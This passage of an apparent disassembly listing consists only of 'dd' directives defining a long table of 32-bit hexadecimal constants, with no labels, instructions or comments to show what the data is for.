		dd 558E2422h, 5EEF85BCh, 0C8E8487Eh, 0E628203Fh, 75B9C034h
		dd 0A7406465h, 2B091314h, 0F8398090h, 6093FFh, 0F7CF5BAAh
		dd 0DF9CF264h, 54C56C5Ch, 0CE64A96Ch, 1C405D58h, 10628A2Ah
		dd 8C0F562Ah, 46ECBA0Eh, 0DF8899D2h, 6CBCF807h,	764290Ah
		dd 0DADCB592h, 90328710h, 34A183F7h, 0A34C94Ch,	843756F8h
		dd 0F66EB8Fh, 6C678086h, 7821A7D7h, 0AF61049Ah,	8218412Dh
		dd 7602064Ch, 28EF2148h, 0C007133Bh, 3F0247h, 2B1EE0ACh
		dd 7784D72Dh, 8AFF400h,	0DA2C1932h, 28209347h, 0D84252A4h
		dd 4469F800h, 5C031CEAh, 6D1D24Ch, 4F56B2C3h, 0C01A1631h
		dd 0FC6F1055h, 2B06CF0Ah, 2FF20980h, 0EAD8A010h, 804EE280h
		dd 0D0915116h, 0ECB99600h, 55BA3EEh, 91327FCAh,	22A5C08Ah
		dd 0C4929E8Eh, 0AF31EF14h, 615380B8h, 30084C4Dh, 7493C57h
		dd 0DB1C4765h, 68E80C6h, 9C1BA02Fh, 829E05h, 9B21CE36h
		dd 375EC38Ah, 9249DA00h, 6F1FEEB4h, 7C4F4C16h, 0A89027C9h
		dd 0AE755AA5h, 0A3987700h, 0A04131ADh, 6B01F4Bh, 7B84180h
		dd 0F8AB64C3h, 1890DBA3h, 728154F0h, 70C28054h,	0F9AA2011h
		dd 0A537DBA1h, 0AF40304Bh, 3A30ACA0h, 0DCAC0132h, 532E6078h
		dd 6500C3EEh, 0ED87E411h, 0CC8B79Dh, 0FC9047C2h, 1F325991h
		dd 2EC79D5h, 0BA222CBEh, 0BD4322F3h, 0A64EE8A0h, 71005344h
		dd 2EA73C0h, 0F8F6C6h, 0DA6F0ED8h, 0F49BA278h, 587FC300h
		dd 0C18F6567h, 1E57D02h, 0FCC50387h, 0BFBFDBFEh, 0F1EF0008h
		dd 807B6B95h, 65621FC1h, 0D02EC035h, 528D0A98h,	9C2823Fh
		dd 77700FE1h, 6107218Bh, 5A6B601Ah, 9F0C6667h, 41911681h
		dd 275B006Ah, 0E336EE71h, 3A01634Dh, 306C2B08h,	5BF1C403h
		dd 0EFCF6960h, 315EAE0h, 1D9663CDh, 0B07468D0h,	8E98E618h
		dd 0C0847C50h, 0B6C8A059h, 0F607BFD9h, 8E230C58h, 4CACBDE1h
		dd 30D7330h, 0EF6744D5h, 0F97175B9h, 55E86307h,	5CF02C36h
		dd 32705Ah, 7E733F3Bh, 343DDE8Bh, 4AFDA106h, 68D876h, 0E38C4B8Fh
		dd 0CBFF639Fh, 2A1F100h, 0FD2411C7h, 0CF7930B7h, 288C1029h
		dd 0CD750B00h, 3AAA32F1h, 97480114h, 427FD503h,	8089BC63h
		dd 0CDBE1020h, 30D09CBBh, 621866E7h, 0AC0A4BC5h, 0B729C297h
		dd 0D0467805h, 0D9DD7C3h, 0D9049620h, 69E8F071h, 5BF11CA0h
		dd 846AAC01h, 3E6C68E3h, 0FC8160h, 967F9C83h, 220320A7h
		dd 81A13CA8h, 0ED41C52h, 359BA367h, 292000B4h, 0DBDC5FCh
		dd 0AC160192h, 7D027152h, 31BC82h, 30EA907h, 3538CFBh
		dd 0CA26E622h, 0A107D779h, 805E95A8h, 0D0F00B87h, 24960AA3h
		dd 8044E3FFh, 6BE438A1h, 24135D1Dh, 6201A099h, 7C03C892h
		dd 2D1D4022h, 37B08021h, 0E5E4CCB9h, 0D609CFF8h, 85ACA334h
		dd 0F8090118h, 934021A8h, 742276BBh, 340ADF00h,	0A335E67Ch
		dd 9C645900h, 0E49D03FCh, 31B202C8h, 0E9E5D248h, 0B68B2080h
		dd 7F19ACFBh, 9B494A50h, 0EE014022h, 0C73C2140h, 0CA5030EDh
		dd 6A897B00h, 6CB2AB59h, 0AEBD3CDAh, 0D1571B03h, 4872D46Bh
		dd 6410E384h, 0E10424E8h, 0D098B666h, 44FB089Ch, 3286D62h
		dd 4650BEEDh, 98441DD8h, 1B4A476h, 67152ED0h, 80929B27h
		dd 6D258261h, 1CE7BDC7h, 0C316531Ah, 0B979CEE5h, 0F14A41D8h
		dd 9D115900h, 30A45AEEh, 778E3F19h, 6434E4FCh, 409CB169h
		dd 4DF5A2F0h, 53030308h, 0C466A6A9h, 9BCA810Dh,	0F0032984h
		dd 8147E4D6h
		dd 3C7B02Eh, 0C9485D5Eh, 32028080h, 0E85699Fh, 0EC4CD384h
		dd 61A24305h, 80DA76E4h, 1059AF49h, 83D893h, 0E44403B4h
		dd 68790931h, 0D5609973h, 7749BC29h, 8919035Eh,	0E6717EBBh
		dd 0B09C59D0h, 81825107h, 88F1C5E8h, 0B183A09Bh, 741BD58Fh
		dd 716DC790h, 9CEAF700h, 0BA7EDCFBh, 0D6DA8867h, 900C2CB8h
		dd 4AC566E8h, 84C4A855h, 0A6F0A557h, 0C8DA0083h, 0CB40D149h
		dd 29F05C53h, 842490C3h, 81305101h, 51819DE4h, 4B28FCA9h
		dd 0CFDD3185h, 3C55100h, 0DD75E31Ch, 0EBE5049Fh, 806A43F1h
		dd 63605EF8h, 66C5ACA8h, 8BB03801h, 71FDA36Fh, 6BEF2884h
		dd 1EA4C28Eh, 0E32A28A1h, 0D7C3D45Dh, 26D8CF80h, 18091DDh
		dd 0B8CEA85Ch, 6AA2D488h, 780E3B28h, 11594621h,	363B009Dh
		dd 0BB8687EEh, 6B6E0B82h, 7582B91Bh, 78A09E79h,	0B527D1E4h
		dd 8A7A22h, 36391D33h, 6EF1FCB4h, 524BC900h, 31DC4FAEh
		dd 58010F26h, 7DC3461Bh, 79226471h, 7F320093h, 5DC70C72h
		dd 940012F3h, 0AFFD56Eh, 48786C7Eh, 744894EAh, 0EF7F9922h
		dd 66870E02h, 41C40282h, 0D1855678h, 104B776Bh,	1ACAE494h
		dd 0A00469D8h, 60C92208h, 0A2749AE4h, 62F041BCh, 8E100815h
		dd 0BA41EE85h, 74D1D180h, 0CCF315C4h, 0E204D8DBh, 0CDFE1D94h
		dd 6C21D6E8h, 5423179Bh, 0E4D3A16h, 7420CECCh, 5619DF81h
		dd 9D23E503h, 92E365C9h, 0EF9C406Dh, 0CCFA52CFh, 2802961Dh
		dd 0C6D53F60h, 322E0E80h, 0DD03A29Bh, 0CC5A7F24h, 5CC36E44h
		dd 1BD170D9h, 41837BA9h, 1A9E0CD8h, 853F431Ch, 8D026DC5h
		dd 44B93C82h, 0AFBD1F80h, 0E3A68082h, 0CA1CD2F9h, 0AC011473h
		dd 7E9819C2h, 5180967Ch, 235841B2h, 0B10CD7D5h,	0A9D3799Ch
		dd 0EDC03E26h, 508400FBh, 6DA3FAEEh, 0D028E08h,	9B87AA09h
		dd 0E55CCB62h, 647EBC08h, 428C549Ch, 4B9900C8h,	275DCE69h
		dd 19D16079h, 0B0957CEBh, 3A995607h, 0F918E4Eh,	0DBE81A21h
		dd 342A4867h, 863755C0h, 0E500D7EBh, 0BB53F948h, 7EF4B07h
		dd 0EA7D90B1h, 0CA0EBCEh, 0F1086A14h, 7EE4C301h, 7C687AB3h
		dd 0FA01A448h, 0DE79000Ah, 0AAB1BA43h, 0DD095C35h, 92E2D166h
		dd 9CCC0B8h, 6DE413EEh,	964801A3h, 0A6949BA1h, 0B600E921h
		dd 0D246AA0Ah, 0CDAD58CAh, 0AFDECB04h, 5716C0BCh, 1F5281DDh
		dd 91EF0A88h, 4833D80Ch, 7C06BCC2h, 3817217Eh, 120047D8h
		dd 776EF78Bh, 295703C0h, 0E82B1025h, 0E10192h, 0A8451384h
		dd 74FF58h, 0F4A5B634h,	6130385Ch, 89D39401h, 9E9B9349h
		dd 0A939B180h, 42C6879Fh, 998C6D00h, 0F5B0D15h,	0FCA22649h
		dd 0D333823Ch, 8861AAF4h, 0C4761289h, 7A0F1E28h, 0E5748058h
		dd 8880A299h, 63374C00h, 0E93016B3h, 1903EF1h, 7FE3DA82h
		dd 0B448E546h, 0DD0C696Eh, 9197FFD1h, 617F607Ch, 895A8C52h
		dd 16D75E00h, 0C4A5F3D1h, 0DC83D0Ch, 81DCEC51h,	1F94B9E9h
		dd 4F982493h, 810C218Ah, 1A948DDDh, 17833E4h, 0A45DCC22h
		dd 0DF2018C2h, 48374C4Ah, 0A82E811h, 28685C84h,	808E1F08h
		dd 7863240Fh, 28BA049Bh, 1494D976h, 74FE3BBEh, 88ACAD48h
		dd 0BCC3809Ch, 0C2384A9Eh, 0E27A9708h, 0C96A07C0h, 113D368Ah
		dd 0E3583890h, 0EA1DC4DCh, 0A090BA4Bh, 177E6068h, 0E9DE7228h
		dd 55B18500h, 1A400B0Ch, 5FC70983h, 0AC0054E4h,	2681A0EEh
		dd 0B93CC00h, 9221A6C4h, 0A2122406h, 0CFEE04C0h, 2258A4E2h
		dd 0AC387402h, 60A297E8h, 92C99064h, 1380B374h,	0BE1C286Ch
		dd 0C526C605h, 0A204B315h, 348CA266h, 0F19600AAh, 3878DF10h
		dd 0CB0192F7h, 668B2BECh, 4FC03A3h, 5D0A4DBh, 0FE6D38B1h
		dd 1452C353h, 0D0795C90h, 560021DFh, 0EF983A20h, 0BE880004h
		dd 0E2B3E1D1h, 0D0C62A25h, 37798DE8h, 0A1817Ch,	47535850h
		dd 9A416600h, 6D96F860h, 0B20F0507h, 85A2DAB3h,	0BAF0043Ch
		dd 3028B192h, 33ECBDCh,	8B3661CEh, 0D8E1A008h, 6BC01C2Ch
		dd 0E5CB6221h, 0A2922700h, 8B69F1AAh, 11D89A33h, 2603956Ch
		dd 183EF08Fh, 5211DC79h, 0B09F617Fh, 436CC364h,	0C1017BEDh
		dd 9C424965h, 5831C7F7h, 20455097h, 60D4AA80h, 0C4585BF8h
		dd 0B18C0068h, 96274F43h, 61DE6316h, 310069B9h,	3E56885Ah
		dd 5824FA86h, 0A83C9CACh, 0B602CBA0h, 456D5C55h, 0A1804331h
		dd 9B01684Ch, 0D20A1095h, 0D99900E9h, 0B1340BEEh, 0BF1DE15Dh
		dd 6940D072h, 7E478F78h, 0CC60E7C5h, 5AEE1CCFh,	0B0A8686Bh
		dd 9890E4h, 874FE7ABh, 0A6A8C734h, 3EC2CE01h, 96699ACAh
		dd 32000437h, 415D6C60h, 84007967h, 0BBE418F3h,	6A84CBDh
		dd 0E7D1CEA0h, 6C58A1ADh, 0BC70C124h, 0E2C4B64Ah, 28EE00AAh
		dd 183A9E99h, 0E2A202DDh, 6947C486h, 7BB8EF15h,	0D30F0094h
		dd 0EA75D074h, 411B2655h, 0E39F00D0h, 0B6F0834Bh, 12E0C15Ch
		dd 748997A9h, 0AC47E0E7h, 0BCF2EAh, 88353244h, 4DB32691h
		dd 6FD88F0Bh, 71BC84D2h, 9F2C0813h, 0D74480A8h,	0A875E1D0h
		dd 8E161890h, 0EE97A5A1h, 5D1CAC03h, 0ED64B8CDh, 0D809CADCh
		dd 41C660D4h, 7F0068DFh, 828155F2h, 74BFA3CCh, 59C10BBBh
		dd 0EC111B96h, 11472BAh, 186C269Ah, 7DFCAE3Eh, 3B9B7429h
		dd 2D27094Eh, 2F867009h, 9AFE3180h, 0D4AF71C0h,	29243A9h
		dd 0F20409FBh, 0D0610183h, 39C70886h, 0F054729Bh, 0A7798882h
		dd 0C07FE77Dh, 5DC43A2Ch, 3BDC900h, 947B6E86h, 0FA198710h
		dd 3F8253EFh, 8A8DAF88h, 103F1790h, 3590D418h, 0F040D4AAh
		dd 0E898A3D7h, 5D119742h, 1984163h, 321D81A0h, 98762410h
		dd 0A1792C40h, 0EDC9007Fh, 45485DFEh, 4313F851h, 7CC267F1h
		dd 640012AFh, 16609E2h,	705BF200h, 770B2573h, 401B1241h
		dd 43A84C7Eh, 16288181h, 5A224C96h, 29409064h, 11CC9179h
		dd 0F30F187Bh, 0D2A05B6h, 2D1864B8h, 79244218h,	0F0045C80h
		dd 0AB7A26C0h, 0A332F81Fh, 0A5B9904h, 0F19B18C8h, 4F92B980h
		dd 0B9CB4450h, 0F76EF00h, 0BC7930B1h, 324B3F87h, 0DDB41701h
		dd 87C20394h, 279BB661h, 0C46B789Ch, 86872D8h, 0E98FBD18h
		dd 876D10Fh, 0D08B695Ch, 711C10FEh, 2EE7F051h, 0E1748E96h
		dd 0EC1758EAh, 0FA037B2Ch, 0DCC46603h, 0BFC1B880h, 0F498F27Dh
		dd 0A410E77Ch, 8900CD4Eh, 0E58C0264h, 13FD5D92h, 20BA82C4h
		dd 7DE7F078h, 4E3EB801h, 92E6D195h, 6600DC4Ah, 0BC122229h
		dd 4F708085h, 2BFE3905h, 0CC4BCF79h, 0A80490BAh, 83D30CE6h
		dd 71916AA6h, 7E74A0E8h, 30B87924h, 550070A4h, 0C745A6B7h
		dd 0A159EED3h, 0A111D2ECh, 50E13A4Ch, 7EEC41D9h, 0EB240013h
		dd 0B551DB61h, 6912295Dh, 58335E84h, 9869436Bh,	2980F53Dh
		dd 59AE707h, 140E2C0Fh,	40AA7B93h, 0A0532A48h, 0BBC4A17Ah
		dd 8073BA11h, 10D0D551h, 3809B1Ah, 56550F86h, 0B9A86EDFh
		dd 0AF4CF295h, 0C04100F0h, 4EC13971h, 69E90326h, 5BF1901Ch
		dd 36EF60D7h, 0EB0949E3h, 18C2971Eh, 37BF44h, 0CD3AE874h
		dd 0C3444C63h, 7C908A1Fh, 36EE9500h, 720379FDh,	4A6A0010h
		dd 6F2202D5h, 6C3AE2A2h, 0C4057E61h, 8BFBCFF1h,	8058D827h
		dd 5D60218Dh, 6759C0Fh,	0C7FEDAF2h, 6AD0AD00h, 3F8A57F4h
		dd 0DCEF2522h, 99589886h, 0E0C14Ch, 0B76C713Ah,	0C07AB8F1h
		dd 0C8FE2219h, 0D578DF3Dh, 49A09060h, 0C04B5DA2h, 705CE3B0h
		dd 0C8980297h, 542C144h, 2A2F239Bh, 9A58083Ah, 0D16DC582h
		dd 0F07450FEh, 0BC1B1FC4h, 38920067h, 48F044E3h, 79CB0316h
		dd 0E8A268D3h, 2696ACEDh
		dd 407C7C22h, 7E3AE041h, 0B9F21B01h, 0EABB945Bh, 216E5981h
		dd 0E581C557h, 0EF318B33h, 8C44C9h, 0B45892A2h,	0AA99F09Ch
		dd 8ACA10Eh, 292E80BCh,	29B187D9h, 19803B6h, 6CA8322Fh
		dd 7018E9BCh, 8FE81154h, 3DE83513h, 0C4EF0600h,	0A096E581h
		dd 3BACC838h, 172844BBh, 0C6DAFF74h, 2C080A5Ch,	0F8521Ch
		dd 8376F219h, 0E34CD09Ch, 64788B0Ch, 3B2200D8h,	71F30830h
		dd 0F700E22Ah, 755FB8A0h, 0C47EE4E5h, 0CC1FE880h, 28949ECh
		dd 2F2A1C73h, 269D0070h, 33BD0EC7h, 1B4C44D3h, 60C0DC00h
		dd 4FD73DF9h, 0BA5E00C7h, 0F1CEA9C8h, 0C9FE6A81h, 9B02E8B8h
		dd 9650521Dh, 2E4E618h,	0C291CFFBh, 50442181h, 3A0EF13h
		dd 96F5430h, 0B46D002Eh, 0A578D97Fh, 0E0990358h, 7E419DBDh
		dd 40EC322Dh, 0B717ABAh, 0AB57DE2Ch, 0D1EA44C4h, 1B64249Eh
		dd 4095A220h, 6C427F24h, 90E48141h, 0C1A14C42h,	761280C8h
		dd 2D82B890h, 0CB569100h, 641086ECh, 70330321h,	935F9B67h
		dd 287BA82Dh, 0B07D40Ch, 0BF008326h, 79E5FBDh, 51119920h
		dd 0DF2EB0E4h, 0F1041E29h, 977ABBB5h, 0B4E0A54Eh, 42497E83h
		dd 6BF82374h, 5AEED702h, 0E476CDA9h, 0AE100DCh,	5951FFE9h
		dd 83004447h, 0DEBEF1F9h, 48493C18h, 620A58ABh,	489801D1h
		dd 89827CCh, 0CE5CDAEAh, 0C641C750h, 0DE6FAFE0h, 40C7004Bh
		dd 0FE6BA0EEh, 0B90C11A8h, 41BA69C2h, 0E40C0EC1h, 0BBC47078h
		dd 3718E29Ch, 0AC422892h, 1274D817h, 0AFCC5h, 4A6DA67Ch
		dd 0B4A0F7EBh, 428A9620h, 5F06CE4h, 0E96A1A2Bh,	1ED01D4Fh
		dd 764BA046h, 0D32A0840h, 1C85A23Eh, 825E3FBEh,	0BA9720A4h
		dd 6EE5EC90h, 0DB95AD00h, 71AE6A17h, 0D08212F7h, 69D0C8FCh
		dd 7F9DFCE9h, 40A15976h, 8CEC21C7h, 0A890F188h,	0B8EF888Ah
		dd 0FA1C14A0h, 0C808E00h, 0B1ABCD09h, 84EE01F5h, 7276C47Fh
		dd 7DCA0065h, 5046F425h, 963054h, 74E22DCFh, 9CFDA3C4h
		dd 1840795Eh, 0C231DCBCh, 0CB10667h, 395EBBC1h,	8C4090B6h
		dd 0CB22C7h, 1737DA3Eh,	0F112E443h, 2D6F9600h, 181B3CC1h
		dd 9903F076h, 0E2D00B9Ch, 90793098h, 0C700B094h, 0D192A6FBh
		dd 6038B9FFh, 42F373CBh, 8DE9CE01h, 6330DB1Ch, 7CEC8AD4h
		dd 0A06650B6h, 3900B2A1h, 81044823h, 0B0A3D92Eh, 0ADE8CD64h
		dd 8B4321C9h, 0EE0C4411h, 727B1Ah, 9642F240h, 39AB3B9h
		dd 52767812h, 2B60844h,	59F43480h, 0FFF300F0h, 4D0A0782h
		dd 0CE5CA203h, 98B92258h, 0D0DD443Ch, 210033F9h, 9BCD020Eh
		dd 188590B2h, 0AF8E3D5h, 0B87CBB60h, 4D503080h,	404E11Fh
		dd 33DE5D32h, 1208ACF1h, 0AC818B92h, 3C3D64DCh,	4B05C9Ch
		dd 0C0B76FC4h, 0B5BEF419h, 0B1AF7B03h, 90A14E47h, 1371EE72h
		dd 9C792A7h, 74279AD8h,	0D2914857h, 0C0B03D1Dh,	0E2592ED4h
		dd 614FDB2h, 2DD5FC0h, 0F144831Eh, 4590F09Fh, 78C33BBh
		dd 91D7FB83h, 71AD5940h, 30BB3E63h, 9E44605Eh, 583D514Dh
		dd 21570080h, 0DBE16966h, 18DD096Bh, 0C4982BB3h, 97886343h
		dd 89FCBC2Ah, 0A048B9EFh, 0FA02EB35h, 0D11B79D2h, 69B860A3h
		dd 7D9B25CBh, 14458C16h, 88974C30h, 0BC01E09Bh,	9894E2BAh
		dd 0A2C411C3h, 0E407011Eh, 0A1F1C639h, 0DEA4286Ah, 0D4FB16E1h
		dd 2A30CC34h, 0ED70EA00h, 0BFE36980h, 23F2099Ah, 2441926Ch
		dd 0A111D066h, 0C40549Ch, 0DA5932h, 9E264AA4h, 6A0D8ED1h
		dd 0EBC1381Fh, 37468741h, 3192F879h, 0CF8D0BAh,	0F40B1D1Fh
		dd 8E1A4A64h, 0BCEA0192h, 8828D038h, 6C7F6D22h,	69204C50h
		dd 73A70588h, 49600C2Eh, 93A05C1Eh, 27507F88h, 38B86575h
		dd 0E0004092h, 0B429A37Eh, 0F7FD55h, 7D75DB13h,	40EF6911h
		dd 0CF198600h, 0EDB08EBAh, 80E51EA1h, 5174189Dh, 0F100E015h
		dd 0C66F872Ah, 0BB2495h, 8B702572h, 0C9CF0D21h,	846ADCA8h
		dd 1F4F4622h, 0CBEEA36Bh, 50185CD9h, 0B005E10h,	2ACB8523h
		dd 106BA16h, 0E9195C32h, 71AD6DFDh, 0AC1C6094h,	0FCD1300Fh
		dd 1C989EF0h, 12C1F204h, 53A66C63h, 7D320C3Ch, 0FD90EE71h
		dd 0C2020EFAh, 4910A0Ch, 26E04042h, 0C108FAC3h,	0C403F508h
		dd 5B073A9h, 942D47E2h,	0BDFCCCh, 86325E1h, 0A02FCD9h
		dd 92471D00h, 2340A9DCh, 8BBD3D34h, 0FD6BC480h,	0CE1D7B6Eh
		dd 0D16990C2h, 9EDCD2E9h, 1C8A40F0h, 9B01DBFDh,	0F1DD3D34h
		dd 0C063E6CFh, 4C21011h, 1D94BBC9h, 86E558CCh, 32C0442h
		dd 5B840B68h, 6D60501Ah, 2E05D285h, 209795F1h, 0B4E8F483h
		dd 360000CAh, 0D92A4AB7h, 5F026EBAh, 6FA6440Dh,	24DA79h
		dd 0C01E5670h, 36F5EAA0h, 72502258h, 0FA901CB1h, 86037881h
		dd 181F2A7Ah, 23E207E2h, 20AC3790h, 0A82DA25Ch,	0E430B4B0h
		dd 11C591D1h, 226000BAh, 26FC7B56h, 0E31FA0F1h,	0AE4B5F61h
		dd 0ED846EDh, 0ACC8E408h, 8653C480h, 17289672h,	9FFE4875h
		dd 109774A1h, 1362BA5h,	0DC17DA20h, 0F2CD5D5Ch,	45007465h
		dd 290F40B5h, 0C3F8000Dh, 0AC92F196h, 6F38E887h, 512FB17Ch
		dd 0F4311993h, 0BB89906Ch, 956A0CC8h, 0C421105Bh, 61BC1681h
		dd 0A0021913h, 889CB80Ch, 90E47880h, 79C516Ah, 0C5109F4Ch
		dd 70584941h, 0C0E4A148h, 345282Dh, 0DFD107FAh,	604E56A6h
		dd 5C27CF3Dh, 447F90C2h, 0A06C8472h, 9D112D40h,	3E6966Ah
		dd 21D15C00h, 0F1C3BB5Ah, 657E0302h, 776EA767h,	0CCCCBDFBh
		dd 28000C8Ch, 57A96150h, 4A5335C6h, 810C47A4h, 7C962B22h
		dd 5B240300h, 0C40108D4h, 0E894BAA0h, 0CCA49Bh,	0A625E09Ch
		dd 2918CB4Eh, 0D0392605h, 0D8B67D31h, 4C70DF10h, 48D122C4h
		dd 0C09DF4BAh, 41B39EC4h, 6E05D9B6h, 0CFEA6FC3h, 7109B0E2h
		dd 5C711A2Bh, 0CB72BD07h, 4EBF4200h, 2B7619ADh,	1083F02Ch
		dd 0C7895h, 274FE6B8h, 0F4059AD4h, 59F16A02h, 5166710Fh
		dd 19968A5Ch, 1298E04Ch, 68005F66h, 1DDECB0Ah, 0BC442756h
		dd 69AC8808h, 82440C28h, 7C209D76h, 23A70E52h, 0A1276100h
		dd 9571801Bh, 3442E91Dh, 3E6F2081h, 44002E85h, 0CE744DD5h
		dd 2D2EE78h, 458FFBCDh,	3C5697A9h, 0A801A843h, 380A3B29h
		dd 3CCCD2DFh, 0A0802A00h, 9B88BBB0h, 64E44159h,	0D045D870h
		dd 83A834FFh, 0C92466F0h, 0B053A023h, 3FAD9Ch, 0EC8AC3A9h
		dd 0D5B2D090h, 4E1E0401h, 0DD0FE8E4h, 0E33C082Eh, 0DB9BC985h
		dd 0E727D4F2h, 735B4B8h, 33158301h, 0F20F4788h,	5F978F8h
		dd 39D6873Eh, 0E544B4B4h, 0AA669144h, 543C6880h, 0A14101FCh
		dd 9BA219E6h, 37441ADh,	0E3F017DBh, 989AF73h, 0B218B796h
		dd 2006740Bh, 3248B067h, 0C026C0E8h, 0B2C2E7F6h, 0D9674078h
		dd 14886357h, 718022B1h, 0D4DF3D07h, 0CA7047B0h, 327A8848h
		dd 0FEA0A40Eh, 1142EC66h, 0B914116h, 0F0055B10h, 0F4DCF476h
		dd 0FA00C870h, 0DEF94B6Bh, 184DC3h, 20A9416Ah, 0E881DCEFh
		dd 2F3C6891h, 0A010C336h, 4ED42E3h, 8B7C0385h, 81B4E9C2h
		dd 4C581C95h, 2DDCFDD0h, 481B69Ah, 68AAD4A1h, 731580BCh
		dd 0F2A6F911h, 0ABF1074Fh, 0E1FF4D7Ah, 430D8B59h, 0D1255BB0h
		dd 505410C5h, 0F2820390h, 84A381C6h, 0CCE404B8h, 0FB987109h
		dd 0FAA0989Eh, 92B20009h, 1213F181h, 0A2079CDEh, 18633D1Fh
		dd 0FCC61A50h, 0B914E5Bh, 0A4482924h, 242E227Bh, 0DE40F09Ah
		dd 0FFA4BBh, 26E2DC99h,	668C1971h, 0F9549700h, 3057CEB1h
		dd 0B4CC512Eh, 4458A064h, 0E34E817Ah, 0C65DFC30h, 87F4919Ah
		dd 77FF5535h, 4F9753AAh
		dd 441FE0F0h, 84669D04h, 0CCB7785Ch, 0AFC99C00h, 93B5C6CEh
		dd 97F1BE00h, 0B8A1966Bh, 0E0B94C65h, 40695A15h, 931C9122h
		dd 9BC5F145h, 0E8A4E7D0h, 0A1512E78h, 9320468h,	0BF74C89Ah
		dd 0EB9390Bh, 1448016h,	0BAA946DAh, 20939DA8h, 4F204CD0h
		dd 87245F00h, 0E5E1C363h, 49BC00DEh, 345A6095h,	6B2E1CC4h
		dd 7891B81Bh, 0F807288h, 3AF22806h, 24E100ECh, 59DBB5EFh
		dd 182ED0ADh, 0D71F4857h, 68E78109h, 9D2D508h, 0A2355B75h
		dd 28DBCCE2h, 0B8B11400h, 21BC59Bh, 5DB09464h, 0B4E126A3h
		dd 87E9D002h, 46980627h, 596CA14Ch, 0E402C075h,	22022168h
		dd 4A886DC6h, 85D9E482h, 98498E8Ch, 0DB68C87Dh,	1EFE00FDh
		dd 0C443EE82h, 47045C3Ch, 2B3449DCh, 0FDA2F381h, 0E9118838h
		dd 50804A9Ch, 587121B5h, 6902ACA3h, 535BE338h, 0E22ABC84h
		dd 7A243BE0h, 39044D70h, 9B912EBDh, 0D900DCB9h,	2994EA3h
		dd 210FFC9Dh, 80AEF01Bh, 45B35485h, 1C157E7Ch, 0B079D429h
		dd 0E3752051h, 489C4100h, 0D8C06CE0h, 0BCCC00E9h, 8E344D90h
		dd 90B6DA59h, 0E0F78140h, 50739828h, 25E7C7Ah, 452BFC2h
		dd 84C09113h, 15E67D44h, 0FA716309h, 0AB4C4876h, 898113E3h
		dd 7A48F7B7h, 0A4EC49EEh, 0BC82D803h, 0D777374Fh, 23F2870h
		dd 24503F43h, 68C0C8D8h, 29B0C43Ah, 0A304ED72h,	0CC4E081Eh
		dd 11214FCh, 0F68F798h,	40F1A3C7h, 9A445EE7h, 7DA03F67h
		dd 0D3ECC02h, 5EFA2Dh, 0ADBA3C3Eh, 3608B168h, 4AC19D8h
		dd 0FD228549h, 0E8B2A0h, 13370BD3h, 7A27AAF4h, 76B89Ch
		dd 0ED4573F0h, 0D8A5EB15h, 2EE302F4h, 79D6400h,	196A9F59h
		dd 495479C3h, 36E2CDB6h, 69010014h, 0E8ED3877h,	0CDEA00FDh
		dd 0A38D7213h, 0F75F1094h, 0B49DF02Dh, 0A4791372h, 0D838B710h
		dd 9F1D00B1h, 7C801EF2h, 0DAF824EAh, 1DB0149h, 42BC6697h
		dd 4CE5782Ch, 57C6E003h, 1B16C8D5h, 71E21D60h, 2145DA50h
		dd 5440345Ch, 0E83D8Bh,	8176E529h, 0D483F873h, 4E79F513h
		dd 0CB0000A3h, 0E0FFACA9h, 0CD0B2741h, 641DB9F1h, 7897459Ch
		dd 1F6AC0C4h, 161DDF08h, 0D1BA9CBCh, 700243DCh,	4E00D4A7h
		dd 0F6E335B1h, 4C716E7Ch, 0E8568C59h, 0D936B01h, 407679C4h
		dd 34BFD48h, 201CC972h,	60F78508h, 0EF0818CBh, 1E0577F2h
		dd 91F8Bh, 449C551Bh, 3AF5CB2Fh, 8EC94020h, 40500057h
		dd 0E0AB3746h, 88C0A23Ch, 956AAD69h, 28149D0Eh,	4DC5EB01h
		dd 8B38812h, 8DD018C5h,	4BDE0035h, 0F46EFFBBh, 0B586613h
		dd 0E7DB228Ch, 1290F3D8h, 0BEC893Dh, 48006B0Eh,	0EE6D0AC9h
		dd 0FDA75A01h, 7CA01011h, 503803F1h, 2E602480h,	0CD7787DDh
		dd 0A5F899F2h, 0F5334200h, 0E0E28890h, 22812DBDh, 0A75358C4h
		dd 5F9D07F4h, 0D540B140h, 0EE41B563h, 1EAC09B6h, 7459BD03h
		dd 4D760F03h, 0E5EF886Fh, 0DF450FF7h, 4E406BD7h, 84A8C86Ch
		dd 0FC61B95Bh, 0D0019A7Ch, 801038E6h, 0C702A26Dh, 0F59F17D3h
		dd 0F84031C3h, 0ADE1E434h, 0F87D0A24h, 601E7A40h, 85F31E71h
		dd 2E7300F7h, 633E4C44h, 0F1D23601h, 1531FFA1h,	88AC136Ah
		dd 513ADA30h, 4AC5006Ch, 0D45FFDB7h, 0B00909B9h, 54C18DABh
		dd 248627Ch, 26AFC312h,	0D0C0C259h, 5C169F8Ch, 0C47E38C9h
		dd 51A704A0h, 0ED5531E7h, 12D859B4h, 8F44484h, 70E40002h
		dd 58A1AD18h, 0D760A7FFh, 5D220306h, 604096D1h,	6FBB1052h
		dd 0DDCF7200h, 35913EACh, 8030BC7Ch, 23DB4808h,	0A4003D7Fh
		dd 0F4078460h, 0CCFB73h, 0C32166B0h, 59F1D5DEh,	7468295Ch
		dd 60448054h, 0D2CB451Ch, 51FAD0C9h, 76D831ACh,	0C00FC76Dh
		dd 53CB9295h, 1FC5CC8h,	6B8A82A7h, 60C31391h, 9F44E7A0h
		dd 0C8104B96h, 2CA2E3BCh, 209F50F0h, 0A8FD8CB8h, 0C4812D79h
		dd 14054442h, 4ECC85CFh, 0C240B10Ch, 0BA7B57DCh, 29D73005h
		dd 0C8320E96h, 0EAF618E5h, 0B68E150Ah, 3E3C74BBh, 5B94839Ch
		dd 0F0D8E7A9h, 0FE4C2Fh, 40EEE8BDh, 0A369CD8Ch,	59377100h
		dd 84674477h, 94505242h, 0B946D509h, 0CA7CEC10h, 7D7448h
		dd 18B792Ch, 873870h, 37A88EA9h, 45ABB79Dh, 5024898h, 3DEEB046h
		dd 6C7CE0D7h, 2081217Bh, 3C16A901h, 28304FEAh, 40B49E54h
		dd 0F81E2EB5h, 1317D09Fh, 0B20230BFh, 60D300BCh, 18A77B0Bh
		dd 239604D5h, 802C30DAh, 0D6096179h, 2C34A326h,	98E3B9C3h
		dd 4491C4h, 8F6510Bh, 0D22E52Ch, 0A1EB3817h, 4E2C81Fh
		dd 97FC4F66h, 1DB8E0B2h, 4FB8EB53h, 0F4002C8Ah,	13DFBCF8h
		dd 60105C2h, 9B1DFBAEh,	0D4FC8777h, 854100EEh, 67F1B3FFh
